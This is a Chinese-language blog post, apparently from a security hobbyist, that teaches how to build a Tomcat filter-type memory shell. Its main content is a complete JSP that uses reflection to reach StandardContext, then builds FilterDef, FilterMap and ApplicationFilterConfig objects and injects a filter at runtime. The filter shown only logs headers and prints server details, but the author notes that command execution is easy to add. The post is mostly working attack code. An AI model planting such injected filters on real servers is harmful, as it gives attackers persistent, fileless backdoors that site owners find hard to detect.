大家好,我是reality,我搬砖回来了
上次写了一篇servlert内存马的水文,留了坑,这次补一篇关于filter内存马的文章,希望各位大佬多多指教
一、filter
Filter是什么?Filter是servlet规范中定义的java web组件, 在所有支持java web的容器中都可以使用 它是位于前端请求到servlet之间的一系列过滤器,也可以称之为中间件,它主要是对请求到达servlet之前做一些额外的动作:
1、权限控制
2、监控
3、日志管理
4、等等
大家应该不太喜欢看这种介绍,咱们先写一个filter感受一下
我们先写一个filter进来,取名叫FirstFilter
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Enumeration;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
public class FirstFilter implements Filter {
private FilterConfig filterConfig = null;
String paramValue = null;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
this.filterConfig = filterConfig;
paramValue = filterConfig.getInitParameter("encoding");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
System.out.println("begin headers-------------------");
Enumeration<?> headerNames = ((HttpServletRequest)request).getHeaderNames();
while(headerNames.hasMoreElements()) {
String headerName = (String)headerNames.nextElement();
System.out.println(headerName + ": " + ((HttpServletRequest)request).getHeader(headerName));
}
System.out.println("end headers-------------------");
// 在调用目标前写入响应内容
System.out.println("guolv");
response.setContentType("text/html; charset=gb2312");
PrintWriter out = response.getWriter();
out.println("IP地址为:" + request.getRemoteHost() + "<br>");
chain.doFilter(request, response);
//在目标返回后写入响应内容
out.println("<br>名称为encoding的初始化参数的值为:" + paramValue);
out.println("<br>当前Web程序的真实路径为:" + filterConfig.getServletContext().getRealPath("/"));
out.println("<br>修改了test.html文件!");
}
@Override
public void destroy() {
this.filterConfig = null;
}
}
然后配置一下
<filter>
<filter-name>FirstFiltername</filter-name>
<filter-class>FirstFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>FirstFiltername</filter-name>
<url-pattern>/TestServlet</url-pattern>
</filter-mapping>
filter是拦截器,所以我们放个让他拦截的东西,写一个TestServlet
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// TODO Auto-generated method stub
response.setContentType("text/html");
PrintWriter out=response.getWriter();
out.print("<html>");
out.print("<body style="background-color:gray">");
out.print("<h2 style="background-color:red">fuck off</h2>");
out.print("<p style="background-color:yellow">Hello World!</p>");
out.print("</body>");
out.print("</html>");
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
}
启动
如果不加filter的版本应该是这样的
直观上的逻辑就是filter根据你配置的url去拦截你生成的servlert,然后把你写在filter里的东西加进去
这样写马的思路就比较清晰了,我们动态注册一个filter,在加上我们想要执行的命令,内存马就完成了
二、动态注册filter
老规矩先看配置文件
<filter>
<filter-name>FirstFiltername</filter-name>
<filter-class>FirstFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>FirstFiltername</filter-name>
<url-pattern>/TestServlet</url-pattern>
</filter-mapping>
三个属性filter-name、filter-class、url-pattern分别对应filter的名字、类名和对应的url地址
接下来我们还是回到ContextConfig的configureContext里找一找
就两条,都是根据webxml里的信息遍历循环加数据的,我们下断点跑一下
可以看到我们配置的三个信息都有,那我们写一下试试
新建一个filtertest.jsp,前面jsp的内容先照搬之前的FirstFilter
然后把我们找到的内容粘进去
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Enumeration" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class FilterTest implements Filter {
private FilterConfig filterConfig = null;
String paramValue = null;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
this.filterConfig = filterConfig;
paramValue = filterConfig.getInitParameter("encoding");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
System.out.println("begin headers-------------------");
Enumeration<?> headerNames = ((HttpServletRequest)request).getHeaderNames();
while(headerNames.hasMoreElements()) {
String headerName = (String)headerNames.nextElement();
System.out.println(headerName + ": " + ((HttpServletRequest)request).getHeader(headerName));
}
System.out.println("end headers-------------------");
// 在调用目标前写入响应内容
System.out.println("guolv");
response.setContentType("text/html; charset=gb2312");
PrintWriter out = response.getWriter();
out.println("IP地址为:" + request.getRemoteHost() + "<br>");
chain.doFilter(request, response);
//在目标返回后写入响应内容
out.println("<br>名称为encoding的初始化参数的值为:" + paramValue);
out.println("<br>当前Web程序的真实路径为:" + filterConfig.getServletContext().getRealPath("/"));
out.println("<br>修改了test.html文件!");
}
@Override
public void destroy() {
this.filterConfig = null;
}
}
%>
<%
context.addFilterDef(filter);
context.addFilterMap(filterMap);
%>
</body>
</html>
由于他还是调的context里的方法,我们直接照搬Servlert内存马的方法,具体流程可以翻一下上文
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);
可以看到idea不太知道filter和filtermap具体是什么,没关系我们先点进去addFilterDef方法看看
没什么实际帮助,进去FilterDef看看
很熟悉的三个参数
底下正好有三个设置参数的方法,那咱们自己创建一个filterDef对象写就好了,反正都是公开方法
FilterDef filterDef=new FilterDef();
filterDef.setFilter(new FilterTest());
filterDef.setFilterClass("FilterTest");
filterDef.setFilterName("FilterTest");
context.addFilterDef(filterDef);
然后点进去看看filtermap
底下的方法和filterdef差不多,咱们直接写
我整个给贴上来
可以看到idea已经逐渐理解一切了
虽然没有木马,但是其实我们只需要能做到动态注册filter就可以了,跑一下看看
访问我们的jsp
没写回显,再访问我们设置的firstServlert
访问jsp的时候没有报错,说明至少代码部分没有错误,但是filter并没有成功注册,说明filter的注册并不仅仅需要这些东西,而缺少的部分,其实我们之前在跑断点的时候就已经出现
百度一下
所以我们得看看这个filterconfigs到底是什么,需要怎么配置,上篇servlert内存马里我们已经知道,现在context里的值是Standardcontext,那我们直接去找
上图说的是filterconfigs是一个实例化的hashmap,下文里的filterconfigs明确的就写在了filterstart里,说明filter启动的时候是要调他的,那我们把跟filterconfigs里的东西调出来写到代码里
filterConfigs.put(name, filterConfig)
filterConfigs 的key值是name ,value是filterConfig,name被定义为entry的key值,entry的key值很明显就是。。。。。咱们可以下个断点看看
嗯,很明显就是filtername嘛,然后是filterConfigs里value的值,直接下断点看吧
filterConfig是由ApplicationFilterConfig实例化来的,需要两个值,一个是StandardContext,一个是entry里的value值也就是entry里的值,也就是filterdef
好了开写
直接实例化filterConfig会报错,我笔记本截图有点问题,但是报错是说ApplicationFilterConfig是非公开的,所以我们需要反射获取他的构造函数
Constructor Applicationconstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
Applicationconstructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) Applicationconstructor.newInstance(context, filterDef);
filterConfigs在standardcontext里就有,我们直接反射获取改值就好了
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
filterConfigs.put("SecondFilter",filterConfig);
这是这个木马的全部代码,虽然叫马但是其实只完成了动态注册了filter,但我相信聪明的各位只要能做到动态注册,无论是弹计算器还是命令执行其实都已经不是问题了(其实是懒)
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Enumeration" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class FilterTest implements Filter {
private FilterConfig filterConfig = null;
String paramValue = null;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
this.filterConfig = filterConfig;
paramValue = filterConfig.getInitParameter("encoding");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
System.out.println("begin headers-------------------");
Enumeration<?> headerNames = ((HttpServletRequest)request).getHeaderNames();
while(headerNames.hasMoreElements()) {
String headerName = (String)headerNames.nextElement();
System.out.println(headerName + ": " + ((HttpServletRequest)request).getHeader(headerName));
}
System.out.println("end headers-------------------");
// 在调用目标前写入响应内容
System.out.println("guolv");
response.setContentType("text/html; charset=gb2312");
PrintWriter out = response.getWriter();
out.println("IP地址为:" + request.getRemoteHost() + "<br>");
chain.doFilter(request, response);
//在目标返回后写入响应内容
out.println("<br>名称为encoding的初始化参数的值为:" + paramValue);
out.println("<br>当前Web程序的真实路径为:" + filterConfig.getServletContext().getRealPath("/"));
out.println("<br>修改了test.html文件!");
}
@Override
public void destroy() {
this.filterConfig = null;
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);
FilterDef filterDef=new FilterDef();
filterDef.setFilter(new FilterTest());
filterDef.setFilterClass("FilterTest");
filterDef.setFilterName("FilterTest");
context.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("FilterTest");
filterMap.addURLPattern("/FirstServlet");
context.addFilterMap(filterMap);
Constructor Applicationconstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
Applicationconstructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) Applicationconstructor.newInstance(context, filterDef);
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
filterConfigs.put("FilterTest",filterConfig);
out.print("123");
%>
</body>
</html>
跑一下看看
先访问jsp,我加了条回显,要不截个白屏很尴尬
再访问我们设定的FirstServlert
三、结尾
因为我做过一段时间开发,所以两篇内存马的文章都是从实现的角度写的,几乎没有讲底层的逻辑,自己在写代码或者捋底层逻辑出现问题的时候都会借助百度,比如tomcat的实现啊,filter注册的逻辑啊诸如此类的,问问题并不可耻,毕竟你的目的是搞会,搞懂。学习遇到挫折也很正常,毕竟归根结底就是因为菜,你打游戏打的绿色也不见得能玩的爽对吧,所以踏实一点务实一点,慢慢看慢慢学。后续的内存马文章我可能会写Listener或是研究一下通用调用链,当然也可能都不写去开新坑,如果大家喜欢或者是有想法有意见请随时反馈,希望大佬们不吝赐教。
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论